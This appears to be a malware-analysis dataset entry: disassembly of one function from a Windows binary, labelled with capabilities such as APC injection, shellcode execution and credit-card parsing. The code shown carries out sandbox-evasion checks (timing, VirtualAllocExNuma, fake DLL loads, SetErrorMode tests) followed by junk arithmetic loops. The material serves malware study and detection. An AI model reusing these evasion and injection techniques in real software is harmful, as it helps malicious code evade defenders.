Function at 0x140001584
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Check http status code
Connect to http server
Create http request
Enumerate processes
Enumerate threads
Execute shellcode via indirect call
Inject apc
Link many functions at runtime
Parse credit card information
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push rbp
push rbx
mov eax, 0x2518
call fcn.14001eb30
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x2480], xmm6
mov dword [rbp + 0x24b0], ecx
mov qword [rbp + 0x24b8], rdx
call dbg.__main
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x16f0], rax
mov rax, qword [rbp + 0x16f0]
mov ecx, 0
call rax
mov dword [rbp + 0x16ec], eax
cmp dword [rbp + 0x16ec], 0xffffffff
je 0x14001da86
mov dword [rbp + 0x16e8], 0x22c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x16e0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x16d8], rax
mov rax, qword [rbp + 0x16d8]
call rax
mov dword [rbp + 0x16d4], eax
mov eax, dword [rbp + 0x16e8]
mov r8, qword [rbp + 0x16e0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x16d8]
call rax
mov dword [rbp + 0x16d0], eax
mov eax, dword [rbp + 0x16d0]
sub eax, dword [rbp + 0x16d4]
cmp eax, 0x1fa
jbe 0x14001da86
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x16c8], rax
mov rax, qword [rbp + 0x16c8]
mov ecx, 0
call rax
mov dword [rbp + 0x16c4], eax
cmp dword [rbp + 0x16c4], 0xffffffff
je 0x14001da86
mov qword [rbp + 0x2478], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x16b8], rax
cmp qword [rbp + 0x16b8], 0
je 0x140001799
mov rax, qword [rbp + 0x16b8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x16b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x16b0]
mov r9d, 0x3000
mov r8d, 0x33a
mov edx, 0
call rax
mov qword [rbp + 0x2478], rax
cmp qword [rbp + 0x2478], 0
je 0x14001da86
lea rax, str.leuvuigjbczqxdf.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x16a8], rax
cmp qword [rbp + 0x16a8], 0
jne 0x14001da86
mov qword [rbp + 0x16a0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1698], rax
mov rax, qword [rbp + 0x1698]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3e3a280
mov ecx, 0
call rax
mov qword [rbp + 0x16a0], rax
cmp qword [rbp + 0x16a0], 0
je 0x14001da86
mov rax, qword [rbp + 0x16a0]
mov edx, 0x3e3a280
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x16a0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ecx, 0x781
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x781
jne 0x14001da86
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0x726
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x726
jne 0x14001da86
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.orysuwlvclckkfku.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1690], rax
cmp qword [rbp + 0x1690], 0
jne 0x14001da86
mov ecx, 0x599
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x599
jne 0x14001da86
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x1688], rax
mov dword [rbp + 0x2474], 0
mov dword [rbp + 0x2470], 1
mov dword [rbp + 0x246c], 0
mov dword [rbp + 0x2468], 0xffffffff
mov ecx, 0x470
call sym.malloc
mov qword [rbp + 0x1680], rax
add dword [rbp + 0x2468], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x2468]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1680]
add rax, rdx
movsd xmm1, qword [0x1400270f8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x2468]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1680]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2468]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1680]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2468], 0x8c
jle 0x14000199e
mov ecx, 0x90
call sym.malloc
mov qword [rbp + 0x1678], rax
mov dword [rbp + 0x2464], 0
mov dword [rbp + 0x1674], 1
mov dword [rbp + 0x2460], 0
jmp 0x140001ae2
mov dword [rbp + 0x245c], 0
jmp 0x140001ad2
call sym.rand
mov edx, eax
mov eax, dword [rbp + 0x2460]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x1678]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x245c]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x245c], 1
cmp dword [rbp + 0x245c], 0xb
jle 0x140001a74
add dword [rbp + 0x2460], 1
cmp dword [rbp + 0x2460], 2
jle 0x140001a68
mov dword [rbp + 0x2460], 0
jmp 0x140001b57
mov dword [rbp + 0x245c], 0
jmp 0x140001b47
mov eax, dword [rbp + 0x2460]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x1678]
add rdx, rax
mov eax, dword [rbp + 0x245c]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001b40
add dword [rbp + 0x2464], 1
add dword [rbp + 0x245c], 1
cmp dword [rbp + 0x245c], 0xb
jle 0x140001b07
add dword [rbp + 0x2460], 1
cmp dword [rbp + 0x2460], 2
jle 0x140001afb
cmp dword [rbp + 0x2464], 0x12
je 0x140001b73
mov dword [rbp + 0x1674], 0
mov rax, qword [rbp + 0x1678]
mov rcx, rax
call sym.free
mov ecx, 0x7e0
call sym.malloc
mov qword [rbp + 0x1668], rax
mov ecx, 0x7e0
call sym.malloc
mov qword [rbp + 0x1660], rax
mov ecx, 0x7e0
call sym.malloc
mov qword [rbp + 0x1658], rax
mov dword [rbp + 0x2458], 0
jmp 0x140001cae
mov dword [rbp + 0x2454], 0
jmp 0x140001c9a
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2458]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x1668]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x2454]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2458]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x1660]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x2454]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x2454], 1
cmp dword [rbp + 0x2454], 0x1b
jle 0x140001bd3
add dword [rbp + 0x2458], 1
cmp dword [rbp + 0x2458], 0x11
jle 0x140001bc4
mov dword [rbp + 0x2458], 0
jmp 0x140001d8b
mov dword [rbp + 0x2454], 0
jmp 0x140001d77
mov eax, dword [rbp + 0x2458]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x1668]
add rdx, rax
mov eax, dword [rbp + 0x2454]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x2458]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x1660]
add rdx, rax
mov eax, dword [rbp + 0x2454]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x2458]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x1658]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x2454]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x2454], 1
cmp dword [rbp + 0x2454], 0x1b
jle 0x140001cd9
add dword [rbp + 0x2458], 1
cmp dword [rbp + 0x2458], 0x11
jle 0x140001cca
mov rax, qword [rbp + 0x1668]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1660]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1658]
mov rcx, rax
call sym.free
mov ecx, 0x6e8
call sym.malloc
mov qword [rbp + 0x1650], rax
mov dword [rbp + 0x2450], 0
jmp 0x140001e2f
call sym.rand
mov edx, dword [rbp + 0x2450]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1650]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x2450], 1
cmp dword [rbp + 0x2450], 0x1b9
jle 0x140001de2
mov dword [rbp + 0x2450], 0
jmp 0x140001f47
mov dword [rbp + 0x124], 0
jmp 0x140001f29
mov eax, dword [rbp + 0x2450]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1650]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x124]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x1650]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140001f22
mov eax, dword [rbp + 0x124]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1650]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x120], eax
mov eax, dword [rbp + 0x2450]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1650]
add rax, rdx
mov edx, dword [rbp + 0x124]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1650]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x124]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1650]
add rdx, rax
mov eax, dword [rbp + 0x120]
mov dword [rdx], eax
add dword [rbp + 0x2450], 1
mov eax, 0x1b9
sub eax, dword [rbp + 0x2450]
cmp dword [rbp + 0x124], eax
jl 0x140001e59
add dword [rbp + 0x2450], 1
cmp dword [rbp + 0x2450], 0x1b9
jle 0x140001e4a
mov rax, qword [rbp + 0x1650]
mov rcx, rax
call sym.free
mov ecx, 0x550
call sym.malloc
mov qword [rbp + 0x1648], rax
mov dword [rbp + 0x244c], 0
jmp 0x140001fd1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400270f8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x244c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1648]
add rax, rdx
movsd xmm1, qword [0x140027100]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x244c], 1
cmp dword [rbp + 0x244c], 0xa9
jle 0x140001f83
mov dword [rbp + 0x244c], 0
jmp 0x140002038
mov eax, dword [rbp + 0x244c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1648]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x244c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1648]
add rax, rdx
movq xmm1, qword [0x140027110]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x244c], 1
cmp dword [rbp + 0x244c], 0xa9
jle 0x140001fe9
mov ecx, 0x644
call sym.malloc
mov qword [rbp + 0x1640], rax
mov dword [rbp + 0x2444], 0
mov dword [rbp + 0x2440], 0
mov dword [rbp + 0x2448], 0
jmp 0x1400020c2
call sym.rand
mov edx, dword [rbp + 0x2448]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1640]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x2448], 1
cmp dword [rbp + 0x2448], 0x190
jle 0x140002075
mov dword [rbp + 0x2448], 0
mov dword [rbp + 0x2448], 0
jmp 0x140002141
mov eax, dword [rbp + 0x2448]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1640]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002110
add dword [rbp + 0x2444], 1
jmp 0x14000213a
mov eax, dword [rbp + 0x2448]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1640]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x14000213a
add dword [rbp + 0x2440], 1
add dword [rbp + 0x2448], 1
cmp dword [rbp + 0x2448], 0x190
jle 0x1400020e4
mov rax, qword [rbp + 0x1640]
mov rcx, rax
call sym.free
mov ecx, 0x180
call sym.malloc
mov qword [rbp + 0x1638], rax
mov ecx, 0x180
call sym.malloc
mov qword [rbp + 0x1630], rax
mov ecx, 0x180
call sym.malloc
mov qword [rbp + 0x1628], rax
mov dword [rbp + 0x243c], 0
jmp 0x140002280
mov dword [rbp + 0x2438], 0
jmp 0x14000226c
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x243c]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x1638]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x2438]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x243c]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x1630]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x2438]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x2438], 1
cmp dword [rbp + 0x2438], 0xb
jle 0x1400021ad
add dword [rbp + 0x243c], 1
cmp dword [rbp + 0x243c], 7
jle 0x14000219e
mov dword [rbp + 0x243c], 0
jmp 0x14000235a
mov dword [rbp + 0x2438], 0
jmp 0x140002346
mov eax, dword [rbp + 0x243c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x1638]
add rdx, rax
mov eax, dword [rbp + 0x2438]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x243c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x1630]
add rdx, rax
mov eax, dword [rbp + 0x2438]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x243c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x1628]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x2438]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x2438], 1
cmp dword [rbp + 0x2438], 0xb
jle 0x1400022ab
add dword [rbp + 0x243c], 1
cmp dword [rbp + 0x243c], 7
jle 0x14000229c
mov rax, qword [rbp + 0x1638]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1630]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1628]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2434], 0xffffffff
mov ecx, 0x8c8
call sym.malloc
mov qword [rbp + 0x1620], rax
add dword [rbp + 0x2434], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x2434]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1620]
add rax, rdx
movsd xmm1, qword [0x1400270f8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x2434]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1620]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2434]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1620]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2434], 0x117
jle 0x1400023af
mov dword [rbp + 0x161c], 0
mov ecx, 0x30c
call sym.malloc
mov qword [rbp + 0x1610], rax
mov ecx, 0x30c
call sym.malloc
mov qword [rbp + 0x1608], rax
mov ecx, 0x30c
call sym.malloc
mov qword [rbp + 0x1600], rax
mov dword [rbp + 0x2430], 0
jmp 0x1400025a8
mov dword [rbp + 0x242c], 0
jmp 0x140002594
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2430]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x1610]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x242c]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2430]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x1608]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x242c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x242c], 1
cmp dword [rbp + 0x242c], 0xe
jle 0x1400024d3
add dword [rbp + 0x2430], 1
cmp dword [rbp + 0x2430], 0xc
jle 0x1400024c4
mov dword [rbp + 0x2430], 0
jmp 0x140002685
mov dword [rbp + 0x242c], 0
jmp 0x140002671
mov eax, dword [rbp + 0x2430]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x1610]
add rdx, rax
mov eax, dword [rbp + 0x242c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x2430]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x1608]
add rdx, rax
mov eax, dword [rbp + 0x242c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x2430]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x1600]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x242c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x242c], 1
cmp dword [rbp + 0x242c], 0xe
jle 0x1400025d3
add dword [rbp + 0x2430], 1
cmp dword [rbp + 0x2430], 0xc
jle 0x1400025c4
mov rax, qword [rbp + 0x1610]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1608]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1600]
mov rcx, rax
call sym.free
mov dword [rbp + 0x15fc], 0x32
jmp 0x1400038a6
mov ecx, 0x6f0
call sym.malloc
mov qword [rbp + 0x1f8], rax
mov ecx, 0x6f0
call sym.malloc
mov qword [rbp + 0x1f0], rax
mov dword [rbp + 0x2428], 0
jmp 0x140002789
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x2428]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x2428], 1
cmp dword [rbp + 0x2428], 0xdd
jle 0x1400026ff
mov dword [rbp + 0x2428], 0
jmp 0x1400027f7
mov eax, dword [rbp + 0x2428]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2428]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1f0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x2428], 1
cmp dword [rbp + 0x2428], 0xdd
jle 0x1400027a5
mov ecx, 0x288
call sym.malloc
mov qword [rbp + 0x1e8], rax
mov dword [rbp + 0x2420], 0
mov dword [rbp + 0x241c], 0
mov dword [rbp + 0x2424], 0
jmp 0x1400028da
call sym.rand
mov edx, dword [rbp + 0x2424]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x2424]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1e8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400028a9
add dword [rbp + 0x2420], 1
jmp 0x1400028d3
mov eax, dword [rbp + 0x2424]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1e8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400028d3
add dword [rbp + 0x241c], 1
add dword [rbp + 0x2424], 1
cmp dword [rbp + 0x2424], 0xa1
jle 0x140002837
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2418], 0
mov dword [rbp + 0x2414], 1
mov dword [rbp + 0x2410], 0
mov dword [rbp + 0x1e4], 0x235
jmp 0x140002956
mov edx, dword [rbp + 0x2418]
mov eax, dword [rbp + 0x2414]
add eax, edx
mov dword [rbp + 0x128], eax
add dword [rbp + 0x2410], 1
mov eax, dword [rbp + 0x2414]
mov dword [rbp + 0x2418], eax
mov eax, dword [rbp + 0x128]
mov dword [rbp + 0x2414], eax
mov eax, dword [rbp + 0x2410]
cmp eax, dword [rbp + 0x1e4]
jl 0x140002923
mov ecx, 0x18c
call sym.malloc
mov qword [rbp + 0x1d8], rax
mov dword [rbp + 0x2408], 0
mov dword [rbp + 0x2404], 0
mov dword [rbp + 0x240c], 0
jmp 0x1400029e2
call sym.rand
mov edx, dword [rbp + 0x240c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x240c], 1
cmp dword [rbp + 0x240c], 0x62
jle 0x140002995
mov dword [rbp + 0x240c], 0
mov dword [rbp + 0x240c], 0
jmp 0x140002a5e
mov eax, dword [rbp + 0x240c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1d8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002a2d
add dword [rbp + 0x2408], 1
jmp 0x140002a57
mov eax, dword [rbp + 0x240c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1d8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002a57
add dword [rbp + 0x2404], 1
add dword [rbp + 0x240c], 1
cmp dword [rbp + 0x240c], 0x62
jle 0x140002a01
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sym.free
mov edx, dword [rbp + 0x2474]
mov eax, dword [rbp + 0x2470]
add eax, edx
mov dword [rbp + 0x1d4], eax
mov dword [rbp + 0x2400], 0xffffffff
add dword [rbp + 0x2400], 1
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x1d0], eax
mov ecx, dword [rbp + 0x1d0]
mov eax, ecx
shl eax, 2
add eax, ecx
lea ecx, [rax*4]
add eax, ecx
sub edx, eax
mov dword [rbp + 0x1d0], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400270f8]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x1d0]
movq xmm0, rax
call dbg.ldexp
